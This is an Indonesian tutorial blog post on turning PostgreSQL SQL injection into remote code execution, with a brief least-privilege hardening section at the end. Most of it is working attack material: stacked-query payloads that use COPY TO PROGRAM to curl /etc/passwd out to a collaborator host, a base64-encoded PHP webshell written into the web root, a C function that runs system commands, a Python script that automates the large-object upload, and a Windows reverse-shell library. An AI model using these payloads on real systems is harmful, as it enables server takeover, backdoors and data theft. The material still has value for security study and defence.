PostgreSQL : From SQL Injection to Remote Code Execution and How to Protect Them

Table of Contents
Pendahuluan #
SQL Injection merupakan salah satu serangan yang umum terjadi pada sistem. Serangan ini memungkinkan peretas untuk menyisipkan atau mengeksekusi query SQL berbahaya di dalam sistem, yang dapat mengakses, mengubah, atau bahkan menghapus data dalam database. Ancaman besar lainnya dari SQL Injection adalah potensi peretas untuk melakukan Remote Code Execution (RCE) hingga dapat mengontrol penuh suatu sistem.
Pada artikel ini, saya akan membahas attack vector yang memungkinkan peretas melakukan RCE dengan memanfaatkan serangan SQL Injection. Artikel ini secara khusus membahas serangan pada sistem yang menggunakan DBMS PostgreSQL.
Metode #
PostgreSQL memiliki beberapa fungsi yang dapat digunakan oleh peretas untuk melakukan eskalasi serangan hingga Remote Code Execution (RCE). Beberapa metode serangan yang akan dibahas pada artikel ini adalah:
- Copy To Program,
- Copy To File,
- Large Object.
Perlu dicatat bahwa teknik-teknik yang akan dibahas hanya dapat dilakukan oleh pengguna PostgreSQL yang memiliki akses ke fungsi-fungsi tersebut. Pengguna yang sudah pasti memiliki akses penuh ke semuanya adalah superuser.
Skenario 1 : COPY to PROGRAM #
PostgreSQL memiliki kemampuan untuk menyalin data pada table atau file dengan perintah COPY. Hal yang menarik pada perintah COPY adalah kemampuannya untuk melakukan eksekusi OS Command menggunakan parameter PROGRAM
. Mari kita baca sekilas pada dokumentasi COPY
![]() |
---|
Gambar 1 |
![]() |
---|
Gambar 2 |
Kita coba buat query sederhana untuk melakukan demonstrasi COPY menggunakan parameter PROGRAM. Contohnya disini saya akan menyalin data dari table product
ke file /tmp/products.txt
. Kita lihat terlebih dahulu data yang ada pada table product
![]() |
---|
Gambar 3 |
Selanjutnya kita coba jalankan query COPY
dengan menggunakan parameter PROGRAM
untuk menyalin lalu menyimpan data tersebut pada file .txt
COPY product to PROGRAM 'cat > /tmp/products.txt';
![]() |
---|
Gambar 4 |
Respon pada query yang dieksekusi menunjukkan kalau kita berhasil melakukan COPY
10 data, selanjutnya mari kita cek filenya
sudo cat /tmp/products.txt
![]() |
---|
Gambar 5 |
Dari contoh yang sudah kita coba, kita sudah berhasil melakukan eksekusi command sederhana. Jika kita lihat kembali pada Gambar 1. Kita bisa langsung menggunakan query pada COPY
COPY { table_name [ ( column_name [, ...] ) ) | ( query ) }
Dengan langsung menggunakan query pada COPY, kita bisa melakukan eksekusi command tanpa harus menggunakan menggunakan table_name
, pada PostgreSQL bisa bisa melakukan SELECT pada suatu string tanpa menggunakan table_name
, contohnya sebagai berikut
SELECT 'test';
![]() |
---|
Gambar 6 |
Terdapat cara lain untuk melakukan SELECT string pada PostgreSQL yang akan memudahkan kita ketika crafting payload SQL Injection, yaitu dengan menggunakan Dollar-Quoted String Constants yang ditulis dengan simbol $$
. Dengan metode tersebut, kita bisa dengan mudah melakukan crafting exploit code yang memiliki banyak single quotes. Mari kita buat satu contoh, misal kita ingin menampilkan string Testing’s single’ quote’s
, jika menggunakan cara biasa, maka seperti ini query nya
SELECT 'Testing''s single''s quotes''s';
![]() |
---|
Gambar 7. |
Lalu jika menggunakan Dollar-Quoted String Constants akan seperti berikut
SELECT $$Testing’s single’ quote’s$$;
![]() |
---|
Gambar 8. |
Terlihat perbedaannya, dengan simbol $$
, akan memudahkan kita untuk melakukan SELECT dengan string yang memiliki banyak single quotes, nantinya teknik ini akan sangat berguna ketika kita mulai tahap crafting exploit code.
Balik lagi ke fungsi COPY, sekarang kita akan coba eksekusi lagi suatu command, kali ini tanpa menggunakan table_name
COPY (SELECT $$test mencoba output$$) to PROGRAM 'cat > /tmp/test.txt';
![]() |
---|
Gambar 9. |
![]() |
---|
Gambar 10. |
Sekarang, kita akan coba skenario eskalasi serangan SQL Injection hingga dapat melakukan RCE dengan memanfaatkan fungsi COPY. Asumsikan kita sudah menemukan suatu kerentanan SQL Injection
![]() |
---|
Gambar 11. |
Pada skenario ini kita akan menggunakan teknik SQL Injection Stacked Queries, yang mana teknik ini dapat mengeksekusi beberapa statement pada suatu query. Contohnya sederhana seperti ini
SELECT * FROM product WHERE product_name ILIKE '%laptop%'; SELECT $$test$$$;
Terdapat dua statement yang dipisahkan oleh semicolon ;
yang nantinya kedua statement tersebut akan dieksekusi. Jika sudah memahami konsep dari COPY to PROGRAM, kita bisa langsung craft payload, pada case ini saya ingin mendapatkan isi konten dari /etc/passwd
lap';COPY (SELECT $$tes$$) to PROGRAM $$curl https://domain.burp-collaborator-subdomain/file -F "file=@/etc/passwd"$$;--
![]() |
---|
Gambar 12. |
Ketika payload SQL Injection dikirim ke server web, kita mendapatkan respon 500, namun kita coba cek koneksi yang masuk di server kita
![]() |
---|
Gambar 13 |
Walaupun mendapat respon 500, eksekusi command masih tetap berjalan, kita berhasil melakukan RCE dengan COPY to PROGRAM. Silahkan bereksperimen hingga mendapatkan reverse shell.
Skenario 2 : COPY to File #
Metode yang dibahas pada bagian kali ini tidak secara langsung melakukan eksekusi command seperti pada metode pertama Copy to Program tetapi pada metode Copy to File ini akan menyimpan inputan kita kedalam sebuah file, yang selanjutnya dapat di-chaining untuk melakukan RCE
Kembali lagi melihat dokumentasi COPY pada PostgreSQL
![]() |
---|
Gambar 14 |
![]() |
---|
Gambar 15 |
Dari dokumentasi, kita mengetahui bahwa filename
dapat diisi absolute path, dari informasi ini kita bisa tau bahwa kita bisa mengontrol lokasi penyimpanan file. Mari kita coba contoh yang sederhana dengan menyimpan string pada file .txt
COPY (SELECT $$Test String to Save$$) to $$/tmp/testing.txt$$;
![]() |
---|
Gambar 16 |
![]() |
---|
Gambar 17 |
Dengan metode ini, kita dapat membuat file backdoor atau webshell yang nantinya ini akan digunakan sebagai media untuk RCE. Mari kita coba skenario sederhana membuat file webshell pada web milik target. Asumsi kita sudah mengetahui ada celah SQL Injection dan kita akan coba menanamkan webshell dengan metode COPY to File
Siapkan webshell terlebih dahulu, saya ambil contoh webshell sederhana dari internet.
<?php
define('PASSWORD', '46ea1712d4b13b55b3f680cc5b8b54e8');
function auth($password)
{
$input_password_hash = md5($password);
if (strcmp(PASSWORD, $input_password_hash) == 0) {
return TRUE;
}else{
return FALSE;
}
}
if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {
if (auth($_GET['password'])) {
echo '<pre>'. exec($_GET['cmd']) .'<pre>';
}else{
die('Access denied!');
}
}
?>
Sekarang kita mengalami masalah, kita tidak bisa menginputkan teks yang memiliki newline ke dalam fungsi COPY, karena pada statement hanya bisa menggunakan teks dengan 1 baris saja. Beruntungnya, PostgreSQL memiliki fungsi untuk melakukan decode base64, dengan ini kita bisa encode script webshell kita dengan base64
PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=
![]() |
---|
Gambar 18 |
Namun kita masih punya masalah, melihat pada Gambar 18, hasil decode dari base64 bukan merupakan plaintext, namun masih berbentuk bytes
decode('MTIzAAE=', 'base64') → \x3132330001
PostgreSQL memiliki fungsi untuk solve masalah tersebut, yaitu dengan menggunakan convert_from
. Fungsi ini dapat mengkonversi tipe data bytes menjadi text. Kita coba buktikan terlebih dahulu dengan mencoba fungsi tersebut
![]() |
---|
Gambar 19 |
SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$));
![]() |
---|
Gambar 20 |
Kita sudah berhasil mendapatkan cara decode base64 menjadi teks pada PostgreSQL, selanjutnya kita coba kombinasikan dengan fungsi COPY
COPY (SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$))) to $$/tmp/webshell.php$$;
![]() |
---|
Gambar 21 |
![]() |
---|
Gambar 22 |
Pada Gambar 22, kita melihat masalah baru, newline dianggap sebagai teks \n
, hal ini akan mengakibatkan code tidak berjalan dengan semestinya, terdapat beberapa workaround
- Ubah code nya menjadi one liner
- Gunakan parameter pendukung pada fungsi COPY
Saya hanya akan membahas workaround nomor dua, karena nomor satu terbilang mudah ya caranya. Kita bahas nomor dua, pada Gambar 14 kita bisa lihat jika terdapat option
yang bisa digunakan, untuk kasus ini kita bisa gunakan FORMAT
dan QUOTE
. Dengan mengubah format output menjadi CSV, karakter newline tidak akan muncul sebagai teks \n
, lalu QUOTE
digunakan untuk menghapus double quote yang muncul pada code setelah formatnya diubah menjadi CSV, bentuk akhir dari statement akan menjadi seperti berikut
COPY (SELECT (convert_from(decode($$PD9waHA7CmRlZmluZSgnUEFTU1dPUkQnLCAnNDZlYTE3MTJkNGIxM2I1NWIzZjY4MGNjNWI4YjU0ZTgnKTsKCmZ1bmN0aW9uIGF1dGgoJHBhc3N3b3JkKQp7CiAgICAkaW5wdXRfcGFzc3dvcmRfaGFzaCA9IG1kNSgkcGFzc3dvcmQpOwoKICAgIGlmIChzdHJjbXAoUEFTU1dPUkQsICRpbnB1dF9wYXNzd29yZF9oYXNoKSA9PSAwKSB7CiAgICAgICAgcmV0dXJuIFRSVUU7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnY21kJ10pICYmICFlbXB0eSgkX0dFVFsnY21kJ10pICYmIGlzc2V0KCRfR0VUWydwYXNzd29yZCddKSkgewoKICAgIGlmIChhdXRoKCRfR0VUWydwYXNzd29yZCddKSkgewogICAgICAgICAgICBlY2hvICc8cHJlPicuIGV4ZWMoJF9HRVRbJ2NtZCddKSAuJzxwcmU+JzsKICAgIH1lbHNlewogICAgICAgIGRpZSgnQWNjZXNzIGRlbmllZCEnKTsKICAgIH0KfQo/Pgo=$$,$$base64$$),$$utf-8$$))) to $$/tmp/webshell.php$$ WITH (FORMAT CSV, QUOTE $$ $$);
![]() |
---|
Gambar 23 |
![]() |
---|
Gambar 24 |
Semua persiapan sudah lengkap, saatnya kita mulai untuk mengirimkan backdoor pada website target. Asumsi kita sudah melakukan information gathering lalu kita mendapat informasi terkait target sebagai berikut
- Web target yang vulnerable terdapat di port 5000
- Terdapat web yang menggunakan Apache pada port 80
- Path dari web yang menggunakan Apache berada di
/var/www/html
Pertanyaan: Bagaimana kalau misal kita tidak tahu dimana directory dari service web berjalan ?
Jawaban: Kalian bisa coba menebak dengan menggunakan list web services default directory atau mendapatkan informasi dari stack trace atau pesan error
![]() |
---|
Gambar 25 |
Terlihat kalau tidak ada file webshell.php
pada website target, sekarang kita eksploitasi kerentanan SQL Injection hingga bisa menyimpan file webshell ke website milik target
lap'; COPY (SELECT (convert_from(decode($$PD9waHAKZGVmaW5lKCdQQVNTV09SRCcsICc0NmVhMTcxMmQ0YjEzYjU1YjNmNjgwY2M1YjhiNTRlOCcpOwoKZnVuY3Rpb24gYXV0aCgkcGFzc3dvcmQpCnsKICAgICRpbnB1dF9wYXNzd29yZF9oYXNoID0gbWQ1KCRwYXNzd29yZCk7CgogICAgaWYgKHN0cmNtcChQQVNTV09SRCwgJGlucHV0X3Bhc3N3b3JkX2hhc2gpID09IDApIHsKICAgICAgICByZXR1cm4gVFJVRTsKICAgIH1lbHNlewogICAgICAgIHJldHVybiBGQUxTRTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkgJiYgIWVtcHR5KCRfR0VUWydjbWQnXSkgJiYgaXNzZXQoJF9HRVRbJ3Bhc3N3b3JkJ10pKSB7CgogICAgaWYgKGF1dGgoJF9HRVRbJ3Bhc3N3b3JkJ10pKSB7CiAgICAgICAgICAgIGVjaG8gJzxwcmU+Jy4gZXhlYygkX0dFVFsnY21kJ10pIC4nPHByZT4nOwogICAgfWVsc2V7CiAgICAgICAgZGllKCdBY2Nlc3MgZGVuaWVkIScpOwogICAgfQp9Cj8+Cg==$$,$$base64$$),$$utf-8$$))) to $$/var/www/html/webshell.php$$ WITH (FORMAT CSV, QUOTE $$ $$);--
![]() |
---|
Gambar 26 |
Setelah mengirim payload exploit, kita mendapatkan respon error 500, tapi mari kita cek ke website target
![]() |
---|
Gambar 27 |
Kita dapat mengakses webshell dan mengeksekusi command. Pada section ini kita sudah mendemonstrasikan penggunaan COPY to File untuk menyimpan backdoor pada suatu server.
Skenario 3 : Large Object #
PostgreSQL memiliki kapabilitas untuk menambah fungsi baru, merujuk pada dokumentasi, PostgreSQL mendukung C-language functions. Pada section ini kita akan membahas proses pembuatan fungsi dengan Bahasa C hingga dapat melakukan RCE
Perlu dicatat, dalam pembuatan fungsi, pastikan major version pada PostgreSQL target dengan PostgreSQL kita selaku attacker sudah sama. Contohnya jika pada Target menggunakan PostgreSQL versi 16.8, minimal kita menggunakan versi 16.0 untuk melakukan compile code nya. Lebih baik lagi jika versinya bisa sama persis.
Merujuk kembali pada dokumentasi, ketika membuat fungsi menggunakan bahasa C, terdapat dua file .h
yang harus di-include, yaitu postgres.h
dan fmgr.h
.
![]() |
---|
Gambar 28 |
Untuk memastikan code yang ditulis oleh kita compatible dengan PostgreSQL yang ada pada mesin target, kita harus memasukkan PG_MODULE_MAGIC;
pada code, sehingga kalau misalkan code yang kita buat incompatible, kita akan dapat mengetahuinya jika kita mendapatkan error message.
![]() |
---|
Gambar 29 |
Kita akan defined nama fungsinya terlebih dahulu dengan
PG_FUNCTION_INFO_V1(funcname);
Setelah itu kita bisa membuat logic dari fungsinya dengan
Datum funcname(PG_FUNCTION_ARGS)
Berikut contoh sederhana dari code RCE yang sudah bisa untuk di compile. Code ini membuat fungsi yang bernama myshell
lalu membaca parameter string pada fungsi lalu menyimpannya pada variabel command
, terakhir melakukan eksekusi dengan fungsi system()
. Perlu dicatat bahwa skenario yang dilakukan pada artikel ini hanya berjalan pada target dengan sistem operasi Linux, untuk sistem operasi Windows, perlu ada penyesuaian lagi dengan kodenya
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(myshell);
Datum myshell(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Compile code dengan command berikut
gcc -I$(pg_config --includedir-server) -shared -fPIC -o myshell.so myshell.c
![]() |
---|
Gambar 30 |
Pastikan pada mesin kita sudah terinstall Postgresql server, kalau tidak, maka compile akan gagal. Selanjutnya kita akan mengirimkan hasil compilenya ke mesin target, untuk melakukan ini, kita harus mengenal LARGE OBJECT
Merujuk pada dokumentasi LARGE OBJECT, fungsi ini memungkinkan kita untuk mengirim data yang besar dengan memecah data tersebut menjadi bagian-bagian yang kecil. Mari kita coba beberapa fungsi large object.
lo_import
digunakan untuk melakukan import file sebagai large object, hal ini sangat berguna sebagai langkah awal untuk membuat large object. Kita memerlukan suatu file yang pasti ada pada sistem operasi, pada skenario ini menggunakan Linux, contohnya kita ambil /etc/hostname
SELECT lo_import($$/etc/hostname$$);
![]() |
---|
Gambar 31 |
Jika sukses, maka akan muncul loid
pada responnya, pada case ini loid
nya adalah 16411. Selanjutnya kita coba eksport data yang sudah kita import
SELECT lo_export(16411,$$/tmp/a.txt$$);
![]() |
---|
Gambar 32 |
![]() |
---|
Gambar 33 |
Dari sini kita memiliki kemampuan untuk membaca dan menyimpan file menggunakan Large Object. Untuk membaca data yang ada pada Large Object, kita bisa menggunakan command
SELECT * FROM pg_largeobject;
![]() |
---|
Gambar 34 |
loid
yang didapatkan ketika melakukan import merupakan angka random, namun kita bisa menentukan sendiri loid
dengan menambahkan param baru, ini akan sangat membantu nanti ketika melakukan tahap eksploitasi
SELECT lo_import($$/etc/hostname$$, 1337);
![]() |
---|
Gambar 35 |
Jika kita lihat, terdapat kolom pageno
dan juga data
, namun value pada data ini dalam bentuk bytes
, bukan plaintext, ketika di eksport, data tersebut kembali menjadi plaintext. Dari informasi ini, kita bisa menyimpulkan modifikasi data secara langsung pada table pg_largeobject membutuhkan data berbentuk bytes
.
Selanjutnya kita akan mengirimkan file myshell.so
, masalahnya adalah konten file tersebut bukan bentuk teks. Agar file shell kita bisa dikirim, kita akan konversi file tersebut menjadi bentuk hex
. Untuk mempermudah, kita akan gunakan Python untuk melakukan konversi
import binascii
import sys
def filetohex(path):
with open(path, 'rb') as f:
content = f.read()
hex_bytes = binascii.hexlify(content)
return hex_bytes.decode()
![]() |
---|
Gambar 36 |
Ternyata hex yang dihasilkan sangat panjang, menurut referensi, setiap row pada Large Object hanya bisa menampung 2048 bytes. Oleh karena itu, kita harus memecah hex pada file shell yang kita miliki.
![]() |
---|
Gambar 37 |
Kita bisa menggunakan Python lagi untuk membantu mempermudah proses split konten
def split_udf(udfhex):
for i in range(0, int(round(len(udfhex)/4096))):
udf_chunk = udfhex[i*4096:(i+1)*4096]
print(f"Chunk {i} : {udf_chunk}")
![]() |
---|
Gambar 38 |
Setelah terpisah menjadi beberapa chunk, saatnya kita input ke Large Object. Kita akan gunakan Large Object yang sudah ada dengan loid
1337, untuk pemilihan loid
ini sebenarnya bebas, yang penting loid
tersebut sudah ada. Pertama, kita ubah terlebih dahulu konten yang ada pada pageno
nomor 0 dengan chunk nomor 0. Karena datanya besar, konten hex nya akan saya tulis menjadi {udf_chuck}
UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) WHERE loid=1337 and pageno=0;
![]() |
---|
Gambar 39 |
Selanjutnya masukkan sisa chunk yang lain hingga semua chunk sudah diinput, disini saya asumsikan hanya terdapat delapan chunk, dimulai dari 0.
INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, 1, decode($${udf_chunk}$$, $$hex$$));
.
.
.
INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, 7, decode($${udf_chunk}$$, $$hex$$));
![]() |
---|
Gambar 40 |
Setelah berhasil diinputkan semua, kita dapat melihat loid
1337 memiliki delapan pageno
, artinya kita sudah memecah file shell kita menjadi 8 chunk.
![]() |
---|
Gambar 41 |
Selanjutnya kita akan ekspor semua konten pada loid
1337 lalu menyimpannya pada mesin target
SELECT lo_export(1337, $$/tmp/myshell.so$$);
![]() | ![]() |
---|---|
Gambar 42 |
Setelah perjalanan yang cukup panjang, akhirnya kita masuk ke fase membuat fungsi shell pada PostgreSQL menggunakan file shell yang sudah kita compile. Untuk membuat sebuah fungsi, kita akan menggunakan CREATE FUNCTION. Pada dokumentasi dapat dilihat kalau kita bisa memanggil obj_file
ketika membuat fungsi baru
![]() |
---|
Gambar 43 |
Untuk membuat fungsi baru, kita bisa menggunakan query berikut
CREATE OR REPLACE FUNCTION shellsys(cstring) RETURNS INT as $$/tmp/myshell.so$$, $$myshell$$ LANGUAGE C STRICT;
![]() |
---|
Gambar 44 |
Sekarang mari kita coba eksekusi suatu command untuk mengirim isi konten /etc/passwd
ke server kita sebagai attacker
SELECT shellsys($$curl https://domain.burp-collaborator-subdomain/file -F "file=@/etc/passwd"$$);
![]() |
---|
Gambar 45 |
![]() |
---|
Gambar 46 |
Akhirnya kita berhasil melakukan RCE dengan metode Large Object, untuk menghapus fungsi yang sudah kita buat, bisa menggunakan command
drop function if exists shellsys(cstring);
![]() |
---|
Gambar 47 |
Tahap akhir, kita akan mencoba untuk melakukan eksploitasi SQL Injection menggunakan metode Large Object yang sudah kita eksplorasi. Karena prosesnya yang cukup panjang, kita akan coba gunakan Python agar bisa melakukan automation
import requests
import sys
import binascii
requests.packages.urllib3.disable_warnings()
loid = 1338
postHeaders = {"Cookie":"jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc0NTgwMjYwNX0.71hbrMBUxv7VPnOkwfIntZrLPHV48b0NKdDzVWJb0jM"}
def log(msg):
print(msg)
def make_request(url, sql):
log(f"[+] Executing query: {sql[0:80]}")
r = requests.post(url, headers=postHeaders, json={"search_term":f"lap';{sql};-- "}, verify=False)
# print(sql)
return r
def delete_lo(url, loid):
log("[+] Deleting existing LO...")
sql = f"SELECT lo_unlink({loid})"
make_request(url, sql)
def create_lo(url, loid):
log("[+] Creating LO for UDF injection...")
sql = f"SELECT lo_import($$/etc/hostname$$, {loid})"
make_request(url, sql)
def inject_udf(url, loid, udf):
log(f"[+] Injecting payload of length {len(udf)} into LO...")
for i in range(0, int(round(len(udf)/4096))):
udf_chunk = udf[i*4096:(i+1)*4096]
if i == 0:
sql = f"UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) WHERE loid={loid} and pageno={i}"
else:
sql = f"INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES ({loid}, {i}, decode($${udf_chunk}$$, $$hex$$))"
make_request(url, sql)
def export_udf(url, loid):
log("[+] Exporting UDF library to filesystem...")
sql = f"SELECT lo_export({loid}, $$/tmp/mynewshell.so$$)"
make_request(url, sql)
def create_udf_func(url):
log("[+] Creating function...")
sql = "CREATE OR REPLACE FUNCTION shellsys(cstring) RETURNS INT as $$/tmp/mynewshell.so$$, $$myshell$$ LANGUAGE C STRICT"
make_request(url, sql)
def trigger_udf(url, command):
log("[+] Launching reverse shell...")
sql = f"SELECT shellsys($${command}$$)"
make_request(url, sql)
def read_payload_file(path):
with open(path, 'rb') as f:
content = f.read()
hex_bytes = binascii.hexlify(content)
return hex_bytes.decode()
def main():
try:
command = sys.argv[1]
payload = sys.argv[2]
except IndexError:
print(f"[-] Usage: {sys.argv[0]} command payloadfile")
print(f"[+] eg: {sys.argv[0]} whoami myshell.so")
sys.exit()
sqli_url = "http://localhost:5000/search"
udf = read_payload_file(payload)
delete_lo(sqli_url, loid)
create_lo(sqli_url, loid)
inject_udf(sqli_url, loid, udf)
export_udf(sqli_url, loid)
create_udf_func(sqli_url)
trigger_udf(sqli_url, command)
if __name__ == '__main__':
main()
![]() |
---|
Gambar 48 |
![]() |
---|
Gambar 49 |
Seluruh proses yang sudah kita pahami sudah bisa kita otomasi dengan menggunakan Python, dengan ini kita bisa lebih mudah untuk melakukan eksploitasi Large Object.
Bonus : Shell Function For Windows #
Pada skenario Large Object yang sudah dibahas, kita sudah berhasil mencoba membuat fungsi shell pada PostgreSQL yang berada pada sistem operasi Linux. Untuk target yang menggunakan sistem operasi Windows, perlu ada penyesuaian pada kode C nya. Kita bisa crafting code untuk melakukan reverse shell dengan menggunakan code berikut
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
Datum
connect_back(PG_FUNCTION_ARGS)
{
/* convert C string to text pointer */
#define GET_TEXT(cstrp) \
DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
/* convert text pointer to C string */
#define GET_STR(textp) \
DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(PG_GETARG_INT32(1));
hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0)));
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
PG_RETURN_VOID();
}
Selanjutnya compile kode tersebut menjadi .dll
, selanjutnya lakukan skenario Large Object hingga bisa berhasil melakukan reverse shell.
Protect PostgreSQL #
Setelah membahas cara melakukan penyerangan, sekarang kita bahas teknik untuk mengamankan PostgreSQL untuk mencegah hacker melakukan eksploitasi yang sudah kita pelajari pada artikel ini.
Grant Least Privilege Access #
Prinsip Least Privilege yaitu memberikan pengguna hanya hak akses minimum yang diperlukan untuk menjalankan tugas mereka. Ini berarti memberikan akses read, write, dan execute hanya pada skema, tabel, atau baris tertentu yang diperlukan oleh pengguna.
Biasanya default user pada PostgreSQL memiliki level superuser, artinya user tersebut memiliki seluruh akses, sebaiknya kita tidak menggunakan superuser untuk mengurusi database pada suatu aplikasi
Sebelum masuk ke Least Privilege, pastikan superuser sudah mengimplementasikan strong password, kita dapat melakukan konfig dengan statement berikut
ALTER USER postgres PASSWORD 'Re4LlyStr0nGPass!';
![]() |
---|
Gambar 50 |
Kita harus mendefinisikan terlebih dahulu user database yang akan dibuat, contoh kita akan membuat user dengan nama WebManager
, pekerjaan yang bisa dilakukan oleh user tersebut adalah
- Mengakses Database myappdb
- View produk
- View, Create, Update, Delete users
Sekarang kita akan mulai membuat user baru, kita dapat menggunakan CREATE USER untuk membuat user baru, merujuk pada dokumentasi, terdapat beberapa parameter yang bisa kita gunakan
![]() |
---|
Gambar 51 |
Dari informasi parameter yang ada pada dokumentasi, kita dapat membuat user dengan least privileges dengan statement berikut
CREATE USER webmanager WITH LOGIN NOSUPERUSER NOCREATEDB NOINHERIT NOREPLICATION NOBYPASSRLS ENCRYPTED PASSWORD 'StrongManagerP4ssW0rd';
![]() |
---|
Gambar 52 |
Parameter | Penjelasan |
---|---|
webmanager | Nama pengguna yang akan dibuat, dalam hal ini adalah WebManager . |
WITH LOGIN | Menandakan bahwa pengguna ini dapat melakukan login ke database. |
NOSUPERUSER | Pengguna ini bukan superuser, jadi tidak memiliki akses penuh ke semua objek di database. |
NOCREATEDB | Pengguna ini tidak dapat membuat database baru. |
NOINHERIT | Pengguna ini tidak akan mewarisi hak akses dari role lain yang mungkin dimilikinya. |
NOREPLICATION | Pengguna ini tidak dapat membuat dan mengelola replikasi di PostgreSQL. |
NOBYPASSRLS | Pengguna ini tidak dapat mengabaikan aturan Row Level Security (RLS) yang diterapkan pada tabel. |
ENCRYPTED | Menandakan bahwa kata sandi yang diberikan akan disimpan dalam bentuk ter-enkripsi di database. |
